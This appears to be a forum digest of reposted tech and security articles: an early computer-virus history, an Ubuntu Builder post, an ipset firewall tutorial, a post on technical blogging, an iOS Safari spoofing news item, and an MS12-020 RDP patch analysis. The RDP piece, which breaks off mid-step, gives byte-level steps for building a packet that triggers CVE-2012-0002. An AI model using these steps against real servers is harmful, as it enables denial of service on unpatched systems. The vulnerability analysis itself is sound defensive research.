okay, why did you do it, and what were you thinking, and…Their explanation was that it was a proof of concept. These guys had a background in Unix1 world. They had been running different mainframe systems in the early 1980s, when they were like in their late teens – early 20s. And then PC DOS2 came around, in 1985. And they hated it. They thought that it wasn’t secure – and obviously, it wasn’t. And they decided to prove it by writing a virus. And that’s what they did. And of course they had no idea that virus would go around the world, infect computers in more than 100 countries around the world, but that’s what it did. They also started getting phone calls from around the world, from people who had been infected by the virus and all that. They really weren’t expecting that to happen, but of course it went global, became a global problem. 1986 – Brain 1987 – Stoned 1987 – Cascade 1989 – Yankee Doodle 1989 – Dark Avenger 1990 – Form ‘Brain’ was a very typical example of the early viruses we used to see back then. The motive wasn’t anything very concrete. These guys wanted to try something out. They wanted to do something that would replicate and go around the world. And of course, around those days (1986, 1987, 1988) viruses like ‘Brain’ and ‘Stoned’ and ‘Cascade’, and ‘Yankee Doodle’ were all basically the same thing. They were spreading on floppy disks, infecting boot sectors, so you would have infected floppy inside your computer, you boot from the floppy – you get infected, and every other floppy you put in after that gets infected as well. Or file infectors like ‘Yankee Doodle’ which would infect DOS .COM files, and then when you share files, well, it spreads from one computer to another. What we have to remember is that in 1986 we didn’t have networks. I mean normal computers, PC computers, were not connected to each other in any way. In fact, most computers didn’t have a hard drive. They would typically have two floppy drives only, right. So, if you wanted to move data around you had to put it on a floppy, there were no other means of doing it. And that’s why floppy-based infectors spread so quickly. In 1986 computers were not connected to each other and most of them didn’t have hard drives, so floppy-based infectors spread quickly. Many of these viruses at that time were also, in one way or another, visual. What I mean by that is that you would typically know that you are infected. And one good example of that is the ‘Omega’ virus. This one is not so important or pointed in any history books or anywhere actually, to anyone else except to me. But it’s important to me because it’s the first virus I analyzed. In September 1991, we had a customer case of a large company, actually a telco, where they had damage on their computers and they were suspecting a virus, and they sent us a sample. And I got assigned to look at the sample, because around that time in F-Secure, I was the only guy who would do reverse-engineering in assembly language. Even that I actually had never done on PC, I had background with Commodore 643 and doing assembly there, but, you know, I decided to do that. And I printed out the code, spent a couple of days trying to go through and understand how it works, and learning the interrupts of DOS system and all that. And I did it, I decoded it. I actually didn’t have a spare PC I could infect at that time, so I actually couldn’t run the code, I was just reading it, trying to figure out what it does. And one of the things that I thought it did, just looking at the code, was that it would be displayed on 13th of the month. If it was a Friday, it would activate and display one character: character number 232, I believe. And I looked up that character and that is the ‘Omega’ sign. So, I named the virus ‘Omega’. That’s the first virus I ever named. And the name stuck, if you google around, you will still find this virus as the ‘Omega’ virus. And that actually started a tradition. In our days, in our company, once you’ve been 10 years with the company, you’ll get a genuine Swiss OMEGA watch. So, I should have named the virus ‘Ferrari’. To be continued… 1 – Unix is a term generally used to refer to those multitasking, multi-user operating systems which use this term as the entirety of or as part of their official names, including all of the original versions of UNIX that were developed at Bell Labs. 2 – PC DOS (full name: The IBM Personal Computer Disk Operating System) is a DOS system for the IBM Personal Computer and compatibles, manufactured and sold by IBM from the 1980s to the 2000s. 3 – Commodore 64 was an 8-bit home computer manufactured by the now defunct Commodore International company in the time frame 1982-1994. Sursa: The History and the Evolution of Computer Viruses: 1986-1991 | Privacy PC

Am adaugat 3 noi sub-categorii categoriei "Blackhat SEO si monetizare".

[h=3]Build Your Own Ubuntu based GNU/Linux Distribution - Ubuntu Builder[/h] Posted by Nikesh Jauhari Ubuntu Builder is a simple tool to build your own distribution. It allows to download, extract, customize in many ways and rebuild your Ubuntu images. You can customize i386 and amd64 images. Ubuntu Builder Installation: You can install Ubuntu Builder by downloading the latest version package (here) and installing it using Ubuntu software center by double-clicking on the deb file. After successful installation, you can open the Ubuntu Builder from Unity 'Dash" Clicking on 'Select ISO' will open an input box that will allow you to select the ISO image to be extracted for customization. You can select an ISO image from your local system in or download a Ubuntu Mini Remix which offers ISO image with minimal packages for customization. To do that, click 'Get Ubuntu', choose the release, location, and click Download. Sursa: Build Your Own Ubuntu based GNU/Linux Distribution - Ubuntu Builder | Linux Poison

[h=1]Advanced Firewall Configurations with ipset[/h]Mar 19, 2012 By Henry Van Styn iptables is the user-space tool for configuring firewall rules in the Linux kernel. It is actually a part of the larger netfilter framework. Perhaps because iptables is the most visible part of the netfilter framework, the framework is commonly referred to collectively as iptables. iptables has been the Linux firewall solution since the 2.4 kernel. ipset is an extension to iptables that allows you to create firewall rules that match entire "sets" of addresses at once. Unlike normal iptables chains, which are stored and traversed linearly, IP sets are stored in indexed data structures, making lookups very efficient, even when dealing with large sets. Besides the obvious situations where you might imagine this would be useful, such as blocking long lists of "bad" hosts without worry of killing system resources or causing network congestion, IP sets also open up new ways of approaching certain aspects of firewall design and simplify many configuration scenarios. In this article, after quickly discussing ipset's installation requirements, I spend a bit of time on iptables' core fundamentals and concepts. Then, I cover ipset usage and syntax and show how it integrates with iptables to accomplish various configurations. Finally, I provide some detailed and fairly advanced real-world examples of how ipsets can be used to solve all sorts of problems. With significant performance gains and powerful extra features—like the ability to apply single firewall rules to entire groups of hosts and networks at once—ipset may be iptables' perfect match. Because ipset is just an extension to iptables, this article is as much about iptables as it is about ipset, although the focus is those features relevant to understanding and using ipset. [h=3]Getting ipset[/h] ipset is a simple package option in many distributions, and since plenty of other installation resources are available, I don't spend a whole lot of time on that here. The important thing to understand is that like iptables, ipset consists of both a user-space tool and a kernel module, so you need both for it to work properly. You also need an "ipset-aware" iptables binary to be able to add rules that match against sets. Start by simply doing a search for "ipset" in your distribution's package management tool. There is a good chance you'll be able to find an easy procedure to install ipset in a turn-key way. In Ubuntu (and probably Debian), install the ipset and xtables-addons-source packages. Then, run module-assistant auto-install xtables-addons, and ipset is ready to go in less than 30 seconds. If your distro doesn't have built-in support, follow the manual installation procedure listed on the ipset home page (see Resources) to build from source and patch your kernel and iptables. The versions used in this article are ipset v4.3 and iptables v1.4.9. [h=3]iptables Overview[/h] In a nutshell, an iptables firewall configuration consists of a set of built-in "chains" (grouped into four "tables") that each comprise a list of "rules". For every packet, and at each stage of processing, the kernel consults the appropriate chain to determine the fate of the packet. Chains are consulted in order, based on the "direction" of the packet (remote-to-local, remote-to-remote or local-to-remote) and its current "stage" of processing (before or after "routing"). See Figure 1. Figure 1. iptables Built-in Chains Traversal Order When consulting a chain, the packet is compared to each and every one of the chain's rules, in order, until it matches a rule. Once the first match is found, the action specified in the rule's target is taken. If the end of the chain is reached without finding a match, the action of the chain's default target, or policy, is taken. A chain is nothing more than an ordered list of rules, and a rule is nothing more than a match/target combination. A simple example of a match is "TCP destination port 80". A simple example of a target is "accept the packet". Targets also can redirect to other user-defined chains, which provide a mechanism for the grouping and subdividing of rules, and cascading through multiple matches and chains to arrive finally at an action to be taken on the packet. Every iptables command for defining rules, from the very short to the very long, is composed of three basic parts that specify the table/chain (and order), the match and the target (Figure 2). Figure 2. Anatomy of an iptables Command To configure all these options and create a complete firewall configuration, you run a series of iptables commands in a specific order. iptables is incredibly powerful and extensible. Besides its many built-in features, iptables also provides an API for custom "match extensions" (modules for classifying packets) and "target extensions" (modules for what actions to take when packets match). [h=3]Enter ipset[/h] ipset is a "match extension" for iptables. To use it, you create and populate uniquely named "sets" using the ipset command-line tool, and then separately reference those sets in the match specification of one or more iptables rules. A set is simply a list of addresses stored efficiently for fast lookup. Take the following normal iptables commands that would block inbound traffic from 1.1.1.1 and 2.2.2.2: iptables -A INPUT -s 1.1.1.1 -j DROP iptables -A INPUT -s 2.2.2.2 -j DROP The match specification syntax -s 1.1.1.1 above means "match packets whose source address is 1.1.1.1". To block both 1.1.1.1 and 2.2.2.2, two separate iptables rules with two separate match specifications (one for 1.1.1.1 and one for 2.2.2.2) are defined above. Alternatively, the following ipset/iptables commands achieve the same result: ipset -N myset iphash ipset -A myset 1.1.1.1 ipset -A myset 2.2.2.2 iptables -A INPUT -m set --set myset src -j DROP The ipset commands above create a new set (myset of type iphash) with two addresses (1.1.1.1 and 2.2.2.2). The iptables command then references the set with the match specification -m set --set myset src, which means "match packets whose source header matches (that is, is contained within) the set named myset". The flag src means match on "source". The flag dst would match on "destination", and the flag src,dst would match on both source and destination. In the second version above, only one iptables command is required, regardless of how many additional IP addresses are contained within the set. Although this example uses only two addresses, you could just as easily define 1,000 addresses, and the ipset-based config still would require only a single iptables rule, while the previous approach, without the benefit of ipset, would require 1,000 iptables rules. [h=3]Set Types[/h] Each set is of a specific type, which defines what kind of values can be stored in it (IP addresses, networks, ports and so on) as well as how packets are matched (that is, what part of the packet should be checked and how it's compared to the set). Besides the most common set types, which check the IP address, additional set types are available that check the port, the IP address and port together, MAC address and IP address together and so on. Each set type has its own rules for the type, range and distribution of values it can contain. Different set types also use different types of indexes and are optimized for different scenarios. The best/most efficient set type depends on the situation. The most flexible set types are iphash, which stores lists of arbitrary IP addresses, and nethash, which stores lists of arbitrary networks (IP/mask) of varied sizes. Refer to the ipset man page for a listing and description of all the set types (there are 11 in total at the time of this writing). The special set type setlist also is available, which allows grouping several sets together into one. This is required if you want to have a single set that contains both single IP addresses and networks, for example. [h=3]Advantages of ipset[/h] Besides the performance gains, ipset also allows for more straightforward configurations in many scenarios. If you want to define a firewall condition that would match everything but packets from 1.1.1.1 or 2.2.2.2 and continue processing in mychain, notice that the following does not work: iptables -A INPUT -s ! 1.1.1.1 -g mychain iptables -A INPUT -s ! 2.2.2.2 -g mychain If a packet came in from 1.1.1.1, it would not match the first rule (because the source address is 1.1.1.1), but it would match the second rule (because the source address is not 2.2.2.2). If a packet came in from 2.2.2.2, it would match the first rule (because the source address is not 1.1.1.1). The rules cancel each other out—all packets will match, including 1.1.1.1 and 2.2.2.2. Although there are other ways to construct the rules properly and achieve the desired result without ipset, none are as intuitive or straightforward: ipset -N myset iphash ipset -A myset 1.1.1.1 ipset -A myset 2.2.2.2 iptables -A INPUT -m set ! --set myset src -g mychain In the above, if a packet came in from 1.1.1.1, it would not match the rule (because the source address 1.1.1.1 does match the set myset). If a packet came in from 2.2.2.2, it would not match the rule (because the source address 2.2.2.2 does match the set myset). Although this is a simplistic example, it illustrates the fundamental benefit associated with fitting a complete condition in a single rule. In many ways, separate iptables rules are autonomous from each other, and it's not always straightforward, intuitive or optimal to get separate rules to coalesce into a single logical condition, especially when it involves mixing normal and inverted tests. ipset just makes life easier in these situations. Another benefit of ipset is that sets can be manipulated independently of active iptables rules. Adding/changing/removing entries is a trivial matter because the information is simple and order is irrelevant. Editing a flat list doesn't require a whole lot of thought. In iptables, on the other hand, besides the fact that each rule is a significantly more complex object, the order of rules is of fundamental importance, so in-place rule modifications are much heavier and potentially error-prone operations. [h=3]Excluding WAN, VPN and Other Routed Networks from the NAT—the Right Way[/h] Outbound NAT (SNAT or IP masquerade) allows hosts within a private LAN to access the Internet. An appropriate iptables NAT rule matches Internet-bound packets originating from the private LAN and replaces the source address with the address of the gateway itself (making the gateway appear to be the source host and hiding the private "real" hosts behind it). NAT automatically tracks the active connections so it can forward return packets back to the correct internal host (by changing the destination from the address of the gateway back to the address of the original internal host). Here is an example of a simple outbound NAT rule that does this, where 10.0.0.0/24 is the internal LAN: iptables -t nat -A POSTROUTING \ -s 10.0.0.0/24 -j MASQUERADE This rule matches all packets coming from the internal LAN and masquerades them (that is, it applies "NAT" processing). This might be sufficient if the only route is to the Internet, where all through traffic is Internet traffic. If, however, there are routes to other private networks, such as with VPN or physical WAN links, you probably don't want that traffic masqueraded. One simple way (partially) to overcome this limitation is to base the NAT rule on physical interfaces instead of network numbers (this is one of the most popular NAT rules given in on-line examples and tutorials): iptables -t nat -A POSTROUTING \ -o eth0 -j MASQUERADE This rule assumes that eth0 is the external interface and matches all packets that leave on it. Unlike the previous rule, packets bound for other networks that route out through different interfaces won't match this rule (like with OpenVPN links). Although many network connections may route through separate interfaces, it is not safe to assume that all will. A good example is KAME-based IPsec VPN connections (such as Openswan) that don't use virtual interfaces like other user-space VPNs (such as OpenVPN). Another situation where the above interface match technique wouldn't work is if the outward facing ("external") interface is connected to an intermediate network with routes to other private networks in addition to a route to the Internet. It is entirely plausible for there to be routes to private networks that are several hops away and on the same path as the route to the Internet. Designing firewall rules that rely on matching of physical interfaces can place artificial limits and dependencies on network topology, which makes a strong case for it to be avoided if it's not actually necessary. As it turns out, this is another great application for ipset. Let's say that besides acting as the Internet gateway for the local private LAN (10.0.0.0/24), your box routes directly to four other private networks (10.30.30.0/24, 10.40.40.0/24, 192.168.4.0/23 and 172.22.0.0/22). Run the following commands: ipset -N routed_nets nethash ipset -A routed_nets 10.30.30.0/24 ipset -A routed_nets 10.40.40.0/24 ipset -A routed_nets 192.168.4.0/23 ipset -A routed_nets 172.22.0.0/22 iptables -t nat -A POSTROUTING \ -s 10.0.0.0/24 \ -m set ! --set routed_nets dst \ -j MASQUERADE As you can see, ipset makes it easy to zero in on exactly what you want matched and what you don't. This rule would masquerade all traffic passing through the box from your internal LAN (10.0.0.0/24) except those packets bound for any of the networks in your routed_nets set, preserving normal direct IP routing to those networks. Because this configuration is based purely on network addresses, you don't have to worry about the types of connections in place (type of VPNs, number of hops and so on), nor do you have to worry about physical interfaces and topologies. This is how it should be. Because this is a pure layer-3 (network layer) implementation, the underlying classifications required to achieve it should be pure layer-3 as well. [h=3]Limiting Certain PCs to Have Access Only to Certain Public Hosts[/h] Let's say the boss is concerned about certain employees playing on the Internet instead of working and asks you to limit their PCs' access to a specific set of sites they need to be able to get to for their work, but he doesn't want this to affect all PCs (such as his). To limit three PCs (10.0.0.5, 10.0.0.6 and 10.0.0.7) to have outside access only to worksite1.com, worksite2.com and worksite3.com, run the following commands: ipset -N limited_hosts iphash ipset -A limited_hosts 10.0.0.5 ipset -A limited_hosts 10.0.0.6 ipset -A limited_hosts 10.0.0.7 ipset -N allowed_sites iphash ipset -A allowed_sites worksite1.com ipset -A allowed_sites worksite2.com ipset -A allowed_sites worksite3.com iptables -I FORWARD \ -m set --set limited_hosts src \ -m set ! --set allowed_sites dst \ -j DROP This example matches against two sets in a single rule. If the source matches limited_hosts and the destination does not match allowed_sites, the packet is dropped (because limited_hosts are allowed to communicate only with allowed_sites). Note that because this rule is in the FORWARD chain, it won't affect communication to and from the firewall itself, nor will it affect internal traffic (because that traffic wouldn't even involve the firewall). [h=3]Blocking Access to Hosts for All but Certain PCs (Inverse Scenario)[/h] Let's say the boss wants to block access to a set of sites across all hosts on the LAN except his PC and his assistant's PC. For variety, in this example, let's match the boss and assistant PCs by MAC address instead of IP. Let's say the MACs are 11:11:11:11:11:11 and 22:22:22:22:22:22, and the sites to be blocked for everyone else are badsite1.com, badsite2.com and badsite3.com. In lieu of using a second ipset to match the MACs, let's utilize multiple iptables commands with the MARK target to mark packets for processing in subsequent rules in the same chain: ipset -N blocked_sites iphash ipset -A blocked_sites badsite1.com ipset -A blocked_sites badsite2.com ipset -A blocked_sites badsite3.com iptables -I FORWARD -m mark --mark 0x187 -j DROP iptables -I FORWARD \ -m mark --mark 0x187 \ -m mac --mac-source 11:11:11:11:11:11 \ -j MARK --set-mark 0x0 iptables -I FORWARD \ -m mark --mark 0x187 \ -m mac --mac-source 22:22:22:22:22:22 \ -j MARK --set-mark 0x0 iptables -I FORWARD \ -m set --set blocked_sites dst \ -j MARK --set-mark 0x187 As you can see, because you're not using ipset to do all the matching work as in the previous example, the commands are quite a bit more involved and complex. Because there are multiple iptables commands, it's necessary to recognize that their order is vitally important. Notice that these rules are being added with the -I option (insert) instead of -A (append). When a rule is inserted, it is added to the top of the chain, pushing all the existing rules down. Because each of these rules is being inserted, the effective order is reversed, because as each rule is added, it is inserted above the previous one. The last iptables command above actually becomes the first rule in the FORWARD chain. This rule matches all packets with a destination matching the blocked_sites ipset, and then marks those packets with 0x187 (an arbitrarily chosen hex number). The next two rules match only packets from the hosts to be excluded and that are already marked with 0x187. These two rules then set the marks on those packets to 0x0, which "clears" the 0x187 mark. Finally, the last iptables rule (which is represented by the first iptables command above) drops all packets with the 0x187 mark. This should match all packets with destinations in the blocked_sites set except those packets coming from either of the excluded MACs, because the mark on those packets is cleared before the DROP rule is reached. This is just one way to approach the problem. Other than using a second ipset, another way would be to utilize user-defined chains. If you wanted to use a second ipset instead of the mark technique, you wouldn't be able to achieve the exact outcome as above, because ipset does not have a machash set type. There is a macipmap set type, however, but this requires matching on IP and MACs together, not on MAC alone as above. Cautionary note: in most practical cases, this solution would not actually work for Web sites, because many of the hosts that might be candidates for the blocked_sites set (like Facebook, MySpace and so on) may have multiple IP addresses, and those IPs may change frequently. A general limitation of iptables/ipset is that hostnames should be specified only if they resolve to a single IP. Also, hostname lookups happen only at the time the command is run, so if the IP address changes, the firewall rule will not be aware of the change and still will reference the old IP. For this reason, a better way to accomplish these types of Web access policies is with an HTTP proxy solution, such as Squid. That topic is obviously beyond the scope of this article. [h=3]Automatically Ban Hosts That Attempt to Access Invalid Services[/h] ipset also provides a "target extension" to iptables that provides a mechanism for dynamically adding and removing set entries based on any iptables rule. Instead of having to add entries manually with the ipset command, you can have iptables add them for you on the fly. For example, if a remote host tries to connect to port 25, but you aren't running an SMTP server, it probably is up to no good. To deny that host the opportunity to try anything else proactively, use the following rules: ipset -N banned_hosts iphash iptables -A INPUT \ -p tcp --dport 25 \ -j SET --add-set banned_hosts src iptables -A INPUT \ -m set --set banned_hosts src \ -j DROP If a packet arrives on port 25, say with source address 1.1.1.1, it instantly is added to banned_hosts, just as if this command were run: ipset -A banned_hosts 1.1.1.1 All traffic from 1.1.1.1 is blocked from that moment forward because of the DROP rule. Note that this also will ban hosts that try to run a port scan unless they somehow know to avoid port 25. [h=3]Clearing the Running Config[/h] If you want to clear the ipset and iptables config (sets, rules, entries) and reset to a fresh open firewall state (useful at the top of a firewall script), run the following commands: iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -t filter -F iptables -t raw -F iptables -t nat -F iptables -t mangle -F ipset -F ipset -X Sets that are "in use", which means referenced by one or more iptables rules, cannot be destroyed (with ipset -X). So, in order to ensure a complete "reset" from any state, the iptables chains have to be flushed first (as illustrated above). [h=3]Conclusion[/h] ipset adds many useful features and capabilities to the already very powerful netfilter/iptables suite. As described in this article, ipset not only provides new firewall configuration possibilities, but it also simplifies many setups that are difficult, awkward or less efficient to construct with iptables alone. Any time you want to apply firewall rules to groups of hosts or addresses at once, you should be using ipset. As I showed in a few examples, you also can combine ipset with some of the more exotic iptables features, such as packet marking, to accomplish all sorts of designs and network policies. The next time you're working on your firewall setup, consider adding ipset to the mix. I think you will be surprised at just how useful and flexible it can be. [h=3]Resources[/h] Netfilter/iptables Project Home Page: http://www.netfilter.org ipset Home Page: http://ipset.netfilter.org ------------------------------------------------------------------------------------------ Sursa: Advanced Firewall Configurations with ipset | Linux Journal

[h=1]Why Technical People Should Blog (But Don’t)[/h]on March 20th, 2012 by Major Hayden Sometimes people talk to me about posts I’ve written on my blog, or posts they wish I would write. At some point during the discussion, I’ll almost always ask the person why they don’t start up their own blog or contribute to someone else’s. Very few people actually seem interested when I probe them about writing posts on technical topics. My mother was always the one who told me (and her students) that everyone has a story. She said that writing could be therapeutic in ways you probably won’t consider until you’ve written something that someone else enjoys. Just as software developers exist to write software for their users, writers exist to write stories for their readers. There’s nothing that says technical people can’t become excellent writers who inspire others to learn and share their knowledge with others. The goal of this post is to encourage technical people to enjoy writing, write efficiently and feel comfortable doing it. I’ll roll through some of the most common responses I’ve received about why technical people don’t blog about what they know. I don’t think I’m really an expert on anything. I’m not an authority on any topic I can think of. I’m leading off with this response because it’s the most critical to refute. If you don’t take away anything else from this post, let it be this: you don’t need to be an expert on a topic to write about it. You can find examples of this by rolling through some of the posts on my blog. I’d consider myself to be an expert on one, maybe two topics, but I’ve written over 450 posts in the span of just over five years. I certainly didn’t write all of those about the one or two topics I know best. Write about what you know and don’t be afraid to do a little research to become an authority on something. A great example of this was my post, entitled “Kerberos for haters.” I had almost no expertise in Kerberos. In fact, I couldn’t even configure it properly for my RHCA exam! However, I did a ton of research and began to understand how most of the pieces fit together. Many other people were just as confused and I decided to pack all of the knowledge I had about Kerberos into a blog post. Positive and negative feedback rolled in and it was obvious that my post taught some readers, inspired some others and angered a few. What a great way to lead into the next response: What if I say something that isn’t correct? I’ll look like an idiot in front of the whole internet! Been there, done that. Every writer makes errors and comes up with bad assumptions at least once. Readers will call you out on your mistakes (some do it delicately while others don’t) and it’s your duty to correct your post or correct the reader. I’ve written posts with errors, and I’ve gotten a little lazy on my fact-checking from time to time. As my middle school journalism teacher always reminded me, the most important part of a mistake is what you do to clean it up and learn from it. In short: you’ll make mistakes. As long as you’ve done your due diligence to minimize them and respond to them promptly, your readers should forgive you. Speaking of errors: I’m great at a command prompt but my spelling and grammar are awful. I write terribly. This is easily fixed. If you’re one of those folks who live the do-it-yourself type of lifestyle, pick up a copy of The Elements of Style by Strunk & White. There are free PDF versions online or you can borrow one from your nearest journalist. No matter the situation you’re in, this book has details about where punctuation should and shouldn’t be, how to structure sentences and paragraphs, and how to properly cite your sources (really vital for research posts). Hauling around a copy of an ultra-dry reference book may not be your thing. If that’s the case, find someone you know who has a knack for writing. You can usually find helpful folks in marketing or corporate communications in most big companies who will take your post and return it covered in red ink ready for corrections (thanks, Garrett!). I’ve even spotted some folks on Fiverr who will do this for as low as $5. I’ll wrap up with the second most common response: I don’t know who I’m writing for? What if I write about something simple and the really technical folks think I’m a noob? What if I write something crazy complex and it goes over most people’s heads? I’ve done both of these. Most Linux system administrators worth their salt know how to add and remove iptables rules, and they’d consider it to be pretty trivial work. Would it surprise you to know that out of over 450 posts, my post about deleting a single iptables rule is in the top five most accessed posts per month? I receive just over 11 percent of my monthly hits to this post. People are either learning from it or they can’t remember how to delete the rule and they want to use the post as a quick reference. Either way, the post is valuable to many people even if I think it’s the simplest topic possible. On the flip side, I went nuts and wrote up a complete how-to for a redundant cloud hosting configuration complete with LVS, glusterfs, MySQL on DRBD, memcached, haproxy and ldirectord. I thought it would be valuable knowledge to a few folks but that it might sail over the heads of most of my readers. Again, I was wrong. The post is constantly in the top 10 most visited posts on the blog and I’ve probably received more feedback via comments, email and IRC about that post than any other. Once again, a post I thought would be mostly useless turned into a real conversation starter. Let’s conclude and wrap up. Keep these things in mind if you feel discouraged about writing: • Write about what interests you whether you’re an expert on it or not • Don’t be afraid to fail • Be responsive to your readers • Even if you think nobody will read your post, write it • Always ensure your voice shines through in your writing — this is what makes it special and appealing Sursa: The Official Rackspace Blog - Why Technical People Should Blog (But Don’t)

[h=1]Address spoofing vulnerability in iOS's Safari[/h]20 March 2012, 17:09 Through a vulnerability in WebKit in the mobile version of Safari, an attacker could manipulate the address bar in the browser and lead the user to a malicious site with a fake URL showing above it. The security researcher David Vieira-Kurz has published an advisory which explains the problem. Incorrect handling of the URL when the JavaScript method "window.open()" is used allows an attacker to "own" HTML and JavaScript code in the new window and, in turn, change the address bar of the window. The research demonstrated the vulnerability at majorsecurity.net/html5/ios51-demo.html – a "Demo" button opens a new page that loads in apple.com borderless iframe and also displays apple.com in the addressbar, but the page itself has originated from majorsecurity.net. Fraudsters could use the vulnerability for phishing attacks by sending users to pages which appear to be their bank and asking for account data. The vulnerability affects WebKit 534.46 in the latest iOS version 5.1, though earlier versions of iOS may also exhibit the problem. Users of third party browsers based on WebKit on iOS could also be vulnerable to the address spoofing. Vieira-Kurz informed Apple of the problem in early march. (djwm) Sursa: Address spoofing vulnerability in iOS's Safari - The H Security: News and Features

[h=3]MS12-020 Vulnerability for Breakfast[/h] [h=2]Monday, 19 March 2012[/h] A few days ago Microsoft has released an important update that fixes vulnerabilities in the Remote Desktop Protocol. The update affects a number of the system files such as Rdpcore.dll and RdpWD.sys. Comparison of the files in the disassembled form before and after update reveals the code changes. Let's have a look at the code changes that took place in the driver file RdpWD.sys. But first, what's the role of this file in the Remote Desktop Protocol? When an RDP client connects to the server component of Remote Desktop Services on TCP port 3389, the login and GDI graphics subsystem are initiated in a newly created session. Within that session, the GDI graphics subsystem relies on RDP-specific driver RdpWD.sys - the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection. The code modification took place in the function HandleAttachUserReq(). Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7): [TABLE] [TR] [TD=class: content].text:0002F900 lea eax, [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F903 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F904 push [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F907 add esi, 74h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F90A push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F90B call SListRemove[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F910 quit:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F910 mov al, 1[/TD] [/TR] [/TABLE] Here is the source of the updated driver (v6.1.7600.16963): [TABLE] [TR] [TD=class: content].text:0002F913 lea eax, [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F916 push eax[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F917 push [ebp+P][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91A add esi, 74h[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91D push esi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91E call SListRemove[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F91E ; <-- ADDED BLOCK[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F926 cmp eax, ebx ; compare it to NULL[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F928 jz short quit ; if NULL, quit[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92A cmp [eax+5], bl[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92D jnz short quit[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F92F push eax ; release the pool[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F930 call WDLIBRT_MemFree[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F935 quit:[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:0002F935 mov al, 1[/TD] [/TR] [/TABLE] As seen in the update, the original code "forgets" to call WDLIBRT_MemFree() function, which is merely a wrapper around ExFreePoolWithTag() - a function that deallocates a block of pool memory: [TABLE] [TR] [TD=class: content].text:00013BA0 WDLIBRT_MemFree proc near ; wrapper for ExFreePoolWithTag()[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0 P = dword ptr 8[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA0 mov edi, edi[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA2 push ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA3 mov ebp, esp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA5 push 0 ; Tag is NULL[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BA7 push [ebp+P] ; P - pool pointer, passed as an argument[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BAA call ds:ExFreePoolWithTag[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB0 pop ebp[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB1 retn 4[/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: content].text:00013BB1 WDLIBRT_MemFree endp[/TD] [/TR] [/TABLE] But how dangerous is the fact that the original code missed the pool memory release? More importantly, if it's admitted to be a bug (hence, the update), can that bug be exploited? As it happens, it can. The reported vulnerability (CVE-2012-0002) is attributed by Microsoft to Luigi Auriemma. Luigi has published an example of a packet that crashes a vulnerable server that runs Remote Desktop Services on TCP port 3389. To see how a typical packet looks like, take a look at the following example from Microsoft: Armed with the annotated field descriptions in the packet dump, let's modify this packet the following way: 1. One of the first inconsistencies to fix is to patch a byte at the offset 0x158 with 0. Indeed, the description states that this field contains 0x00000000 that corresponds to TS_UD_CS_CORE::serverSelectedProtocol. 2. Next, prepend the following bytes to the packet: 03000013 0E E0 0000 0000 00 01 00 0800 00000000 These bytes will encode an RDP connection request: TPKT Header (length = 19 bytes): 03 -> TPKT: TPKT version = 3 00 -> TPKT: Reserved = 0 00 -> TPKT: Packet length - high part 13 -> TPKT: Packet length - low part (total = 19 bytes) X.224 Data TPDU: 0E -> X.224: Length indicator = (14 bytes) E0 -> X.224: Type = 0xE0 = Connection Confirm 00 00 -> X.224: Destination reference = 0 00 00 -> X.224: Source reference = 0 00 -> X.224: Class and options = 0 01 -> RDP Negotiation Message (TYPE_RDP_NEG_REQ) 00 -> flags (0) 08 00 -> RDP_NEG_REQ length (8 bytes) 00 00 00 00 -> RDP_NEG_REQ: Selected protocols (PROTOCOL_RDP) 3. Next, attach user request PDU: 03000008 02f08028 03 00 00 08 -> TPKT Header (length = 8 bytes) 02 f0 80 -> X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) 28 -> PER encoded PDU contents (select attachUserRequest) 4. Find the Connect-Initial::targetParameters header in the packet: 30 19 30 -> ASN.1 BER encoded 